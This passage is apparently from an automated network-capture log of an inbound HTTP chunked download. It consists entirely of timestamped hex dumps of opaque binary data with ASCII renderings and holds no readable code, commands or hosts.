ec 1e 32 83 c5 e5 0f 05 f3 1d 7d 05 f9 02 46 73 9c a2 90 2e 79 d1 6c e9 29 55 5f 42 a4 4c 12 34 56 3c 3e 64 94 Data Ascii: 20003%{ha3 !,Ph]j+\|{sR$^A5p'1B;J4WEHSW4E?8mI,(0zc'FRG}t;LAMt!>6y4d8mHf$pTR`&2}Fs.yl)U_BL4V<>d
2023-07-27 16:27:35 UTC	1000	IN	Data Raw: 22 74 88 c8 75 4c Data Ascii: "tuL
2023-07-27 16:27:35 UTC	1000	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1000	IN	Data Raw: 32 30 30 30 0d 0a 3b 3e 79 24 0f af c4 bb d7 54 b4 29 fd 45 24 4e 7b cc a7 9a 78 01 6a 07 a8 33 4b 0f 77 1a 99 f0 f7 4f 89 a5 e5 a6 a1 32 53 f7 ce 53 ec 64 63 0c 18 10 91 61 46 b0 1b b7 c7 01 c9 24 75 02 68 e0 11 4a 1b 9e f5 68 df 5e 21 f5 30 20 6f 82 6a 24 69 b7 6a 38 ef e6 83 16 c4 06 6c 65 fa fb e9 87 07 25 a0 dd 3c 0f 97 47 f1 24 ba 03 a6 77 f2 22 ad 46 b6 d0 9e 7a 3c ac 05 f6 7b 43 a2 52 e7 88 b3 e4 1f 9f c4 11 46 23 42 6b af 5d 48 f9 83 75 f2 36 48 8f 90 57 ad fb fa d0 70 30 9e cf b2 aa a7 52 59 98 8d 65 72 a6 17 46 e6 de c5 05 ab 94 2d fa b9 ae 22 39 ea 40 e8 2a 62 ae a1 df 48 55 ec 0b 92 13 b6 fa bc bc a0 b1 8c fd b4 ca d7 ac d9 7c 79 4a 2c 1a f3 d5 44 c4 7a bb 63 1a 7f 5a c0 5a e1 5b 77 a1 c3 e1 36 c8 40 ef 3c 52 b5 45 62 b7 ae 38 ff e5 ab fa a6 Data Ascii: 2000;>y$T)E$N{xj3KwO2SSdcaF$uhJh^!0 oj$ij8le%<G$w"Fz<{CRF#Bk]Hu6HWp0RYerF-"9@*bHU\|yJ,DzcZZ[w6@<REb8
2023-07-27 16:27:35 UTC	1008	IN	Data Raw: ed 80 be db 74 71 Data Ascii: tq
2023-07-27 16:27:35 UTC	1008	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1008	IN	Data Raw: 32 30 30 30 0d 0a 5b 99 42 af 67 ee 79 00 eb c2 fa f4 d0 f0 26 a1 1f 70 ea b0 fc 0d 67 dd 2d 4a e8 34 8f 36 60 49 68 6e ac 2c 16 d6 9b f5 9c df 5a bf a7 ae c8 ac 15 b5 31 88 59 68 ad 88 0e 10 43 91 bb cc fe 42 54 e1 5c 27 70 9f 10 16 05 03 78 28 24 29 84 c2 58 43 c6 b5 3b 6a 59 58 17 70 e9 a4 ed 20 00 87 d0 14 34 72 5f 8a dc db 3d 16 2d 58 83 ba 92 86 4f 3f 2e 8e f0 87 23 4e f8 2f 87 b0 b5 a4 1b 16 7b c7 40 22 eb 65 79 53 6f 36 4f 89 77 dd 6f d0 f6 c4 11 0d 6c d6 66 73 b2 dd f0 25 fb a3 19 aa 52 b4 76 35 8b d3 a3 ec fa 9d 95 07 72 4b 06 7a 41 69 b3 17 d8 d4 31 e2 be c0 58 d5 0e 17 6e af ea 22 b2 c5 14 81 73 80 dc 89 87 8d 19 78 40 0e 20 be 69 b3 79 7c a0 d0 79 31 c9 fa 8f 18 68 08 14 d2 09 36 d9 19 5d aa e9 51 74 f3 3d 2f a4 9a f9 47 ba d3 6d 7b 4d 64 81 Data Ascii: 2000[Bgy&pg-J46`Ihn,Z1YhCBT\'px($)XC;jYXp 4r_=-XO?.#N/{@"eySo6Owolfs%Rv5rKzAi1Xn"sx@ iy\|y1h6]Qt=/Gm{Md
2023-07-27 16:27:35 UTC	1016	IN	Data Raw: f9 cf c2 20 cd ba Data Ascii:
2023-07-27 16:27:35 UTC	1016	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1016	IN	Data Raw: 32 30 30 30 0d 0a a1 cb 18 f6 39 8c 91 bc b7 df a2 18 75 6b b9 33 2b 70 91 ad 41 a6 4b 46 6f 40 c1 66 9f d0 44 95 04 85 2e 09 e0 32 8d 5a d0 57 7d ef 7d d5 18 b9 9d 41 bb 00 0c 0f 8b 0b d6 2e 4f cd 19 8c 4c 19 10 4d 56 ca b4 b8 e0 2e 06 63 e9 7a 29 4a 80 1d 0c 8a 97 1a 3c 8f f1 db a7 1e 54 40 0a c3 0d dc 4d 4d 4d dc 20 e5 44 74 e4 3f 51 8e 93 ed 7e 08 06 5b 27 23 1e 8f 0a e3 c7 23 e0 fb c4 ae 2e e9 4e 85 d6 5a da dc 70 f7 cc a9 3b 4d 2e 40 f7 8e b6 8c 84 18 24 74 11 f4 57 bc ff 71 1d 7f bf da 68 9e 49 1e f0 11 20 45 ee fe ed 17 43 70 f1 88 97 70 fc 84 33 a8 1a 86 33 53 74 cc 52 36 46 f3 bd bb c8 67 51 05 f5 e7 37 41 06 d3 c9 a5 d1 d9 3d bc 60 c1 0c d9 1b eb 56 df f6 34 2e a7 d6 7a e0 f9 e4 44 5c 97 59 ac 79 62 e2 47 d9 9d f6 72 d7 3d 36 81 b6 79 6d 2b 68 Data Ascii: 20009uk3+pAKFo@fD.2ZW}}A.OLMV.cz)J<T@MMM Dt?Q~['##.NZp;M.@$tWqhI ECpp33StR6FgQ7A=`V4.zD\YybGr=6ym+h
2023-07-27 16:27:35 UTC	1024	IN	Data Raw: 38 2f 3c b9 eb 05 Data Ascii: 8/<
2023-07-27 16:27:35 UTC	1024	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1024	IN	Data Raw: 31 66 66 38 0d 0a fa f4 ae 31 f1 45 eb 2e 49 cb 18 cd 4a 01 0d 6f 62 e3 10 e9 c6 0d bd f2 34 a5 30 56 52 9f 68 a0 98 95 d9 71 38 02 a8 17 6d c8 ee b7 e3 c0 62 a6 63 d2 c4 72 cc 1e 13 2d 52 34 25 bf 08 10 0d 66 a8 b2 84 79 e2 39 47 4e 70 07 eb a4 d7 35 2d a8 59 70 fa ee 67 e3 10 0e e3 89 fd 8c 79 a0 23 1e 73 30 6d b7 2d 67 01 fa 6f 6f 13 4c 12 c1 f6 6c 43 ff 21 85 83 22 cb 96 41 90 e5 ea 67 c6 4c 17 12 28 0b 19 74 56 18 8a 9a fc 1e 21 ca 14 36 f9 61 5c ce 32 f3 58 13 d8 c9 84 b4 38 5d 89 9e 38 7e 97 da 9a cc 00 b9 62 a6 f5 4c f7 d8 c2 b9 7e 2f 50 6f 30 2f a0 fa c7 c0 cb 33 78 24 75 fc 4c a5 df e1 05 f7 ed 89 dd f3 33 48 47 33 dc fd a0 22 8f 0d 1f 35 3e 94 67 d4 11 39 eb e7 ad b1 e7 b8 57 d5 7c 82 83 b9 32 47 72 0d 35 8a 2f 5b 8e af d9 9f d8 b7 be b8 5f a5 Data Ascii: 1ff81E.IJob40VRhq8mbcr-R4%fy9GNp5-Ypgy#s0m-gooLlC!"AgL(tV!6a\2X8]8~bL~/Po0/3x$uL3HG3"5>g9W\|2Gr5/[_
2023-07-27 16:27:35 UTC	1032	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:35 UTC	1032	IN	Data Raw: 25 e0 60 24 b1 ee 66 03 9e 9f e9 22 cd b9 c0 bf 72 42 08 27 54 4e 6b ac 90 50 94 e9 c6 96 d5 a7 70 b5 83 96 96 f5 1d 7a a8 61 12 61 20 f1 bd 46 4b 71 fd 18 73 13 63 cd 50 a7 3b 43 df e1 d7 dd 52 82 56 3d 16 c0 af 03 75 3d 3f cd a6 d3 8f 08 f9 b4 75 95 e7 36 55 d0 ab 52 4b 2b ca 2e f8 86 2c 5b 38 22 91 11 bd 6b 41 1e 47 8c 23 7a 89 38 26 61 e9 e6 6e 8f f8 82 95 cc f6 d8 11 b8 4f 6a 8c e1 ad 65 03 48 1f b4 1a 88 a2 cf 71 ce a1 38 f4 58 8f 21 ce 34 96 20 e0 09 ef 14 75 da 9e 98 79 93 49 1e 87 34 f0 5a 58 fe 4d f5 9d 1f fa 37 99 f6 21 65 d3 15 63 f3 ac 3d 11 f9 e0 8a 8d fc 85 0a c5 2d da d2 f2 92 48 53 14 41 a4 15 dd 9b 1f 40 97 3f f8 b8 4e 03 41 5c 2f ba 75 6b 9f 95 a8 42 04 09 6c b2 75 28 5b 83 f9 41 50 43 dd 5b 0e a2 fb 46 2a 9f 05 94 87 e1 b9 3f 89 de ba Data Ascii: %`$f"rB'TNkPpzaa FKqscP;CRV=u=?u6URK+.,[8"kAG#z8&anOjeHq8X!4 uyI4ZXM7!ec=-HSA@?NA\/ukBlu([APC[F*?
2023-07-27 16:27:35 UTC	1040	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1040	IN	Data Raw: 32 30 30 30 0d 0a d7 e7 7d cd 21 b2 cb 2d 02 07 a3 c5 20 84 60 4d 18 9a 4d 94 aa 7c f9 0b 38 58 84 27 1e 44 8d 36 20 98 8c 00 51 a3 2a d8 f6 cb 05 2e 6e af 0f e5 d2 de 87 f2 be 4b 26 56 ff 12 ff 52 bf d3 69 cc 0e bb b7 63 b3 82 5d f6 a6 97 78 4e 66 c8 dd 0d 83 81 cc 74 6a 91 b4 f7 08 0c df a0 3f c3 dc 15 ae d7 79 64 c3 1d b2 64 02 93 c1 57 a1 43 29 77 64 cf dd 8a 58 8b d1 d1 68 34 2b 8a ed 20 06 53 16 4f 40 95 e5 e9 9b 07 fd 39 0a 15 f6 ad 3c 7e 4f 31 ab b6 3d a0 7f 86 d3 59 05 fa fc 98 90 0e 75 c3 23 e3 5a 2f cc 3e 0e 10 89 22 8e 99 5e 95 e6 4f 01 d9 8d 91 fd de 8d f9 14 4f 55 84 42 c0 46 c5 ff b0 13 e3 fd 5c cb 4c 6b 1f ca c8 7f 8b 29 c0 6a 3f 9c 8a 72 48 52 cf a1 9e 62 cb 89 8b fc e8 d8 03 56 ca 3c 52 ea 73 85 3d fa 62 b0 34 b9 c6 76 ab 6d 07 fe 9e 7f Data Ascii: 2000}!- `MM\|8X'D6 Q*.nK&VRic]xNftj?yddWC)wdXh4+ SO@9<~O1=Yu#Z/>"^OOUBF\Lk)j?rHRbV<Rs=b4vm
2023-07-27 16:27:35 UTC	1048	IN	Data Raw: ff 6c fd 76 f2 80 Data Ascii: lv
2023-07-27 16:27:35 UTC	1048	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1048	IN	Data Raw: 32 30 30 30 0d 0a c7 db 78 fb 2d 2d 2d 72 f8 84 9e 2c db fa 7c 1d 28 3c ec ff f4 89 80 f8 8a 2e 97 15 80 26 59 18 70 20 d0 fc cb 8c 66 97 4a a0 9e 13 f8 b5 aa 2f 5d 85 88 92 81 44 d0 c1 85 3e 72 25 6b 28 35 02 fb 66 58 d9 f7 d6 48 ef 76 78 7b 4a 4f 4d 7a e5 26 8b 42 fe e6 dc 72 1f 71 ef a3 23 63 99 a1 87 fd 3f 13 8d 7e a8 09 65 2d ff 29 43 18 6b ba 3f ff 14 a6 fe 89 c8 8c 96 1b 80 75 0f 03 d3 d9 6c 0e 41 97 3d 73 3b d2 0b 35 3e a5 d3 43 63 58 f9 89 fc 7d 21 76 da a4 3a 98 2b 5f c7 f6 cd 51 d0 f5 a7 85 e2 7a 45 4e 0b 24 07 35 20 43 36 30 37 22 0e 14 d4 24 0c 59 9c 83 5f 92 08 38 6a c4 83 bd 86 5c 1c e7 f6 4c 31 fc 71 da 9c 33 ac f7 e1 23 92 2d 1d 34 b0 b7 76 98 af ba 52 07 79 30 25 10 85 f2 e5 01 fd 26 28 3c ee 3d 6d 02 2c 89 4e 5c 93 e1 fe 52 01 8e 2a c6 Data Ascii: 2000x---r,\|(<.&Yp fJ/]D>r%k(5fXHvx{JOMz&Brq#c?~e-)Ck?ulA=s;5>CcX}!v:+_QzEN$5 C607"$Y_8j\L1q3#-4vRy0%&(<=m,N\R*
2023-07-27 16:27:35 UTC	1056	IN	Data Raw: 23 1b 8c dc d1 59 Data Ascii: #Y
2023-07-27 16:27:35 UTC	1056	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1056	IN	Data Raw: 32 30 30 30 0d 0a 6b 75 e2 8c e4 88 66 5b 41 9a e4 8f d0 77 da 3d 50 9e 51 d8 8d 21 f4 ac ad f6 f8 68 6d 5a f6 29 6e d4 a8 b5 06 92 38 61 3d cb 02 9b 36 24 13 4c e5 d4 54 96 48 62 32 79 13 a1 4d 60 da ac 72 e1 13 12 29 ec ba de c9 6e 3a 46 21 f3 7a ab f8 60 fe b5 d7 f8 d9 f1 98 98 06 2c 1d 69 7f ad 81 44 fb ae 11 1c 9c 2e e7 32 8d 83 a1 11 01 b8 78 4d 08 f5 37 4a f4 9b ad 3c 09 85 ed 20 ff 6b 86 31 a6 ab 90 bd ca 9b 81 d3 06 47 ea 53 d7 3d 8f cb a7 c5 a6 5d 0c 75 c2 20 50 6f 43 7a 08 bc 31 da c0 24 6c 8c 5b 98 84 26 94 24 14 c9 76 be e5 c5 1e d6 ef fe 00 98 ec 73 62 43 09 1b 7e f6 a0 fb 6c 5a b6 4e e0 a5 0d 5b 55 ee 2b 45 46 ae 06 b5 9f 3c 8d 4e e2 4c bc 3f 09 b0 a7 f1 4e 2a ec e8 9b 8d 25 ab 10 3d a6 90 dc 6b 98 ee c7 63 ce 8f 36 00 6f df e8 0a 70 62 f5 Data Ascii: 2000kuf[Aw=PQ!hmZ)n8a=6$LTHb2yM`r)n:F!z`,iD.2xM7J< k1GS=]u PoCz1$l[&$vsbC~lZN[U+EF<NL?N*%=kc6opb
2023-07-27 16:27:35 UTC	1064	IN	Data Raw: 5b e1 ed 10 1c ca Data Ascii: [
2023-07-27 16:27:35 UTC	1064	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1064	IN	Data Raw: 32 30 30 30 0d 0a 29 b7 37 28 48 85 18 d5 10 6d ab 68 99 0a 7c 3e 8e c7 fc ae 28 76 ab db c4 bf 2c 74 af ab 68 90 32 c1 69 79 35 59 09 ee 8a 99 26 f6 99 a2 71 8f cd 63 67 d0 76 c6 10 48 d0 c8 63 f5 8f 68 36 84 85 f9 73 e9 41 5c b1 fd c6 df fa 95 e3 90 83 41 f4 06 2c fb 5d 22 7b a8 39 a3 60 9d 47 8b 73 89 f5 8c cf 66 37 b9 5b 3b 18 4c f7 21 fa 2f 15 9b ca 26 51 f7 c4 03 aa 7a 72 8d 54 a0 c0 7d 26 c7 69 c8 e5 37 57 f7 ae 2d a5 4f 69 0c 24 34 83 38 73 79 59 bb 9a 57 5a 7d da 6e 6e 11 13 b0 48 e4 5f 4a 19 5c 90 7f fe 8b 46 d5 33 c6 d6 4e 06 08 50 59 08 0e 2b fc 97 a2 e6 3e d6 f4 23 e5 0f f8 37 dc 5f ae c5 2c df 05 a5 45 11 75 06 54 c9 b0 59 49 4b 9a 3f 1a ab 5b ca d1 fd 5d 4d a5 c7 ea 21 53 65 ee 89 19 0a 1d ef bc ef 0e 8d d9 81 3f 7b f6 1e 39 52 e0 ef 81 ba Data Ascii: 2000)7(Hmh\|>(v,th2iy5Y&qcgvHch6sA\A,]"{9`Gsf7[;L!/&QzrT}&i7W-Oi$48syYWZ}nnH_J\F3NPY+>#7_,EuTYIK?[]M!Se?{9R
2023-07-27 16:27:35 UTC	1072	IN	Data Raw: fc 24 2a ae d3 dd Data Ascii: $*
2023-07-27 16:27:35 UTC	1072	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1072	IN	Data Raw: 32 30 30 30 0d 0a 9e 7f e9 86 ad bf f3 a2 54 e6 18 59 99 16 32 e2 49 3e c2 27 18 78 1c 82 b9 7e 22 3d d8 e7 7c bd 0e d2 0c a0 5c 4f 33 df de 3d 61 67 d6 6d e8 29 b4 9f c5 27 dd 9f 79 fa fa 8f 0d 7a bf ea 3f 7b 08 ab 56 c2 22 65 89 d5 d0 fc 48 59 4d 95 58 44 3c 17 6a 39 6a 3d a2 e6 e6 69 56 f4 6d 21 20 72 d2 e1 a6 03 83 74 b9 98 b8 70 44 ab fc 3b 9e b4 f0 64 7a c3 c6 e0 4d da 7a 7b b9 83 9e ce e7 f9 95 b4 36 9d ef 68 34 38 ae bb c7 0c 89 d4 fb 38 dd 51 01 fc f2 e2 3c ee ea dc 4c 1d fa 63 a6 00 70 f9 b6 51 d4 86 89 b1 d8 fa 61 3d f0 ab 14 0d 2e 72 0d 6b 40 30 52 0c 5e ae 2f a1 b4 b6 47 de 8b 19 5e 82 fc cb 72 42 41 01 4c 69 14 8a 2b 65 2f 96 09 9a 3b f0 76 8e 89 69 f6 32 1a f3 78 e8 b7 aa fd a8 64 5b 20 ef df a7 d8 4d b9 e7 fb 24 63 85 43 48 60 d1 3e 44 c3 Data Ascii: 2000TY2I>'x~"=\|\O3=agm)'yz?{V"eHYMXD<j9j=iVm! rtpD;dzMz{6h488Q<LcpQa=.rk@0R^/G^rBALi+e/;vi2xd[ M$cCH`>D
2023-07-27 16:27:35 UTC	1080	IN	Data Raw: 02 de 66 c6 81 b2 Data Ascii: f
2023-07-27 16:27:35 UTC	1080	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1080	IN	Data Raw: 32 30 30 30 0d 0a 0a 55 28 38 75 f0 a0 18 60 98 2a 7f e9 a9 36 ad df 83 63 4a a5 27 92 e1 08 f3 8d 6f d4 0f c2 56 51 b5 c5 21 41 15 1c cc e4 a3 90 95 16 d5 75 70 95 8f a8 ad e0 51 f9 c9 dd 37 25 92 b0 02 a6 f0 ef 44 a6 59 37 18 e2 36 56 67 39 a3 bc 2d fd e7 5c 4b d7 97 04 45 04 c6 e2 e1 99 95 7b c9 a4 e8 c4 eb 74 1a f7 63 e8 1f 27 9c 78 2c 9e cf d0 24 99 60 09 43 a6 95 37 7f d5 86 ec 1a 34 04 b5 28 0e ff a0 a5 f0 7c 9f 71 54 92 7c 39 a8 54 b0 d5 16 84 4c ba b4 c1 5c 8e 69 46 e3 73 35 44 ad 45 f2 a7 e9 e2 25 58 57 29 2f 59 66 79 e6 32 fc 0e 0c 2e 1a a8 b3 d2 19 bd 3c 5f 22 a3 65 c2 b4 87 54 59 e4 7f a8 fc 97 c1 dc 7b 45 94 cb fb 3c 34 7b d8 92 7b 39 23 ed 07 4c d6 30 61 28 a5 b5 cc af b4 b0 9d d4 a6 12 9f 5d 5c 81 24 1f fb 72 f2 14 e7 84 b0 a3 63 60 1a c2 Data Ascii: 2000U(8u`*6cJ'oVQ!AupQ7%DY76Vg9-\KE{tc'x,$`C74(\|qT\|9TL\iFs5DE%XW)/Yfy2.<_"eTY{E<4{{9#L0a(]\$rc`
2023-07-27 16:27:35 UTC	1088	IN	Data Raw: 0f ba e8 39 ac 72 Data Ascii: 9r
2023-07-27 16:27:35 UTC	1088	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1088	IN	Data Raw: 31 66 66 38 0d 0a 2b b9 10 3d 08 e0 8a 46 e2 99 f4 64 22 6d 4c c1 76 56 f4 9e da 32 57 14 2f d7 4b 48 5c 56 f4 e9 95 f9 7b 1b b0 dc 4e df d0 b6 9e 9c 5f 50 51 1a bd 79 42 5c 91 38 7d f5 07 89 28 1a 6c c0 56 c3 82 ee b9 22 cf cd d0 e4 eb 6a e1 45 49 ae 98 66 83 ca 09 af 8a 6a d9 26 61 ce d9 82 ff b0 2d 23 ba 3c 27 59 8a 4a 37 e6 c7 f5 8d 5e 51 65 0d 4a b6 a5 17 b0 a7 12 85 0a e1 73 79 e1 ba 45 37 87 99 56 b9 c6 c5 39 0f 3d 54 57 4f 28 ff 5f 08 3c 3b a1 95 4d 0f 21 34 84 6c 1f 54 36 8b 2f 7d e5 bd 5c 1f 67 91 19 88 af cf 1a 47 5d fa 2b 32 71 73 2a 9c ca c0 40 36 42 03 ad 5b 23 0a b4 46 1c 3a e0 62 73 b0 a6 d7 1d fa 2a 98 6e 2f 3e 2b df 16 0d 82 de 9a a3 12 f7 2c 97 3e eb 53 d2 4d 18 79 81 ec 82 43 36 b5 29 fb 5c 86 97 21 7d 2a 15 dd 24 fa bf 35 51 1a 4e b8 Data Ascii: 1ff8+=Fd"mLvV2W/KH\V{N_PQyB\8}(lV"jEIfj&a-#<'YJ7^QeJsyE7V9=TWO(_<;M!4lT6/}\gG]+2qs@6B[#F:bsn/>+,>SMyC6)\!}*$5QN
2023-07-27 16:27:35 UTC	1096	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:35 UTC	1096	IN	Data Raw: ed 7d e6 6a 38 22 46 62 44 db eb c3 59 cc 99 81 d7 14 d6 14 5f 10 79 7d 2d c2 99 1e 6c 80 12 48 9c ca 7f 85 39 6a 07 43 a4 a4 48 52 3c 2b 4a 8b ea da 97 7a 5c 1c 51 2f 86 b9 21 06 77 ff 31 50 e4 b9 85 e4 e6 28 db 6c e6 c3 31 7c ad 62 1c 46 8f c7 3a 0a 69 3b be 66 79 84 18 fd 28 7e 9c 9f ca 0c 3d 5e 77 92 8d be 3a 72 c0 be 44 5e e7 95 9b 7c 11 c3 34 e2 1f 6b 14 48 5d f2 48 63 6e bd e3 29 57 e5 12 36 90 bc ad 92 8f d2 a3 55 65 4e 72 b2 24 76 45 f9 56 41 46 b3 8d 9a 48 d9 1b 09 23 e9 4a c9 76 d8 0d 1d 81 af 3d 27 7c 86 6f 02 99 c5 92 0c a1 b4 d3 ca cc dc 8f 77 26 e6 71 d0 93 0f c2 5f e3 43 c8 21 8e 96 73 b1 01 8a cd b0 a4 e6 e1 04 52 e0 e0 29 ae 03 02 5e 70 e4 cd 46 ae 3d 87 46 e3 82 18 9e 37 04 56 43 d7 96 b1 de 0d d0 67 16 0e 0c 49 a6 3d ed c4 be 80 e6 3a Data Ascii: }j8"FbDY_y}-lH9jCHR<+Jz\Q/!w1P(l1\|bF:i;fy(~=^w:rD^\|4kH]Hcn)W6UeNr$vEVAFH#Jv='\|ow&q_C!sR)^pF=F7VCgI=:
2023-07-27 16:27:35 UTC	1104	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1104	IN	Data Raw: 32 30 30 30 0d 0a 36 93 d1 bf 74 7c b7 68 e0 b8 31 24 57 21 49 09 fa 49 4d 56 c9 d3 39 50 5b 58 18 d4 a9 5e 6f bd ee 5e 34 2a 19 c2 8f 09 4e f4 5b 80 10 a8 fd 83 94 13 93 a3 fe bf 97 f1 9a 1c bc 5c 2f e3 de cb 3c d8 0b 26 a7 49 f6 03 6c b2 8b 48 db c9 ac 39 9e 68 15 e7 a8 d4 94 1e d9 31 0f f3 50 c2 e9 c8 b0 59 cc 78 85 2c b4 f0 6c 2f 70 5a a6 a6 db 2f dd 93 4d 6c 3a 58 a1 2d ed 6e 9c 64 03 cd 27 3c 24 32 36 30 f8 28 f1 c4 b8 9d 0f f7 7a 3b 55 a7 43 f8 f1 9e ee 81 68 67 63 96 91 6d c7 31 e3 ba 23 16 18 57 cf 36 5f 00 e7 58 b9 a0 4f 22 8b ca 69 44 31 c1 84 ed 9b 42 19 d3 e1 cd 60 50 55 a2 20 d5 c1 6b 8a 2c 05 20 3d ad b2 da d5 0b b7 1b 6a 43 35 0d bf 31 04 a2 26 b2 ff 55 4f 63 7a 06 c5 b0 6f 13 ab 2b 97 37 fe aa 8f 8e eb 67 2e 96 f9 e5 80 21 92 fd 92 e9 0d Data Ascii: 20006t\|h1$W!IIMV9P[X^o^4*N[\/<&IlH9h1PYx,l/pZ/Ml:X-nd'<$260(z;UChgcm1#W6_XO"iD1B`PU k, =jC51&UOczo+7g.!
2023-07-27 16:27:35 UTC	1112	IN	Data Raw: 94 96 67 b3 43 4f Data Ascii: gCO
2023-07-27 16:27:35 UTC	1112	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1112	IN	Data Raw: 32 30 30 30 0d 0a 21 9e fe 53 3c 89 21 37 3e f5 bd 81 6c 17 a3 36 17 eb 0b eb 2f bc 1a fd 5f 07 db 49 97 cc f3 5a 72 df 98 01 c1 c8 bd 4c 18 05 12 69 01 f2 75 e7 ca d9 93 fd 4d 0a 73 e5 f7 d7 fa c1 3b b8 69 2e 11 68 18 7c ed 5e 49 0f b1 3a 3b 0b 6f 07 bf 0f ce 75 0f ad 9d e1 76 0f 1b 1f 6e 83 06 a3 f0 7f 42 e4 9d ba 3c 96 a7 8e c0 ec c0 8b 6c 9c 1a 75 a3 86 e9 a7 bf e7 d4 3f e4 98 71 fa 01 88 05 a4 31 e1 94 77 2a dc eb 66 ec 53 ef bb 82 a6 47 72 5d b8 ac 6b e8 db be 87 de c7 66 62 20 d3 9c f9 e5 15 61 25 2c 92 39 9e cd 49 c4 5d 21 99 dc 45 72 de cf d6 68 a8 7b c4 3d 96 a2 36 7b cf 17 a1 21 40 b5 fb e2 0e 6b 6b e4 b4 5a d5 6c fc 2a 09 03 31 8f 49 73 d7 66 5d 45 24 7a c5 e0 83 01 2a 29 68 53 70 96 0f ac 3e 54 4d 5d 30 3f c0 c3 4e b6 7f 62 70 89 6c c9 6e 36 Data Ascii: 2000!S<!7>l6/_IZrLiuMs;i.h\|^I:;ouvnB<lu?q1wfSGr]kfb a%,9I]!Erh{=6{!@kkZl1Isf]E$z*)hSp>TM]0?Nbpln6
2023-07-27 16:27:35 UTC	1120	IN	Data Raw: 6b fc 0c a7 9e 0d Data Ascii: k
2023-07-27 16:27:35 UTC	1120	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1120	IN	Data Raw: 32 30 30 30 0d 0a 7f 92 9b 49 ce f2 7d 21 49 9f b6 3e 4c ab 48 35 16 d9 6c 27 75 4f 53 22 2e d7 01 4a 67 90 8d a3 35 7b 19 91 11 71 9e 27 ca 84 24 2f 3b 7a cc b5 d0 f4 9d c8 74 3c d1 f1 20 7f 83 b4 f3 be 21 13 e0 e5 57 34 c6 53 48 91 ee 9f 02 f0 ac c4 8a 71 5c c8 f5 3e 38 b3 ef 95 90 66 64 bf 9f df 89 aa e9 f4 22 79 f9 1a cf 05 f1 90 7b 95 29 1b cb c0 4d 45 8e 85 f4 13 1d e6 f1 d7 1f 9e 23 70 4d 26 8a ea 5d 79 da 2d 58 d0 a9 cc 9b 18 c0 d7 70 51 68 b4 cb 33 14 0c 6b 25 4b 9b 81 ef d5 aa c2 d9 ab 7f fb 22 e7 b5 37 0f 73 b9 d2 61 04 2c f2 c5 03 e2 e7 76 f0 15 5f d2 1b c8 7f 3c 5f 17 75 b1 fa 20 22 c9 cb 83 07 84 01 8b 45 29 1d e8 e8 6d b0 31 ae 60 ec 91 f1 2d 27 28 10 48 43 c4 47 46 d3 99 9e 01 e3 07 b9 63 a8 09 36 29 43 1e 36 60 55 80 ff 18 4d 2e c6 8e e8 Data Ascii: 2000I}!I>LH5l'uOS".Jg5{q'$/;zt< !W4SHq\>8fd"y{)ME#pM&]y-XpQh3k%K"7sa,v_<_u "E)m1`-'(HCGFc6)C6`UM.
2023-07-27 16:27:35 UTC	1128	IN	Data Raw: b6 d8 f9 ab 2d b1 Data Ascii: -
2023-07-27 16:27:35 UTC	1128	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1128	IN	Data Raw: 32 30 30 30 0d 0a c6 dc d5 f3 d0 d9 f9 af ed a3 97 3c d1 4e 28 e3 e2 20 11 64 90 6e 85 a8 1a 18 87 87 3c 4c df 3f cf 2e 67 1b 88 60 72 ee 20 c7 fe ee 35 66 28 2b 67 79 82 5b 82 e1 63 27 81 92 62 7c 6a 16 17 09 cc 19 15 64 e1 db 7f 37 70 41 f9 0c 9b 38 ee 1a d8 37 3b ed de 2d 99 05 fc 42 a4 ce 85 73 da 5f 65 da a8 35 2f 16 fb 39 c8 87 2d 8b ab 13 20 bf d9 2e 7d d3 98 a0 41 ef ec d3 87 77 17 ea 62 87 f6 b3 0e 20 92 be fb 76 ff e0 4f f0 4d 70 d1 11 c8 14 70 00 64 55 b7 01 b4 9b cb b8 40 1f a8 d3 e3 43 b4 ff 81 84 a7 9e 9b 61 01 90 15 e0 1a 80 1c 08 f7 26 28 8d a8 75 89 5a 5d 1a 77 fe 41 21 a4 72 80 b4 82 8c 8c b1 30 0e 59 d1 60 24 43 7b 99 58 25 cb 95 55 5b 91 3b 17 64 4a 46 2f 71 e5 e5 af a2 33 5f df 86 fe 83 d8 e3 6f 8e 2b a7 f5 55 f2 66 b5 3a 2c 19 d3 60 Data Ascii: 2000<N( dn<L?.g`r 5f(+gy[c'b\|jd7pA87;-Bs_e5/9- .}Awb vOMppdU@Ca&(uZ]wA!r0Y`$C{X%U[;dJF/q3_o+Uf:,`
2023-07-27 16:27:35 UTC	1136	IN	Data Raw: 90 31 e7 14 5f 89 Data Ascii: 1_
2023-07-27 16:27:35 UTC	1136	IN	Data Raw: 0d 0a Data Ascii:
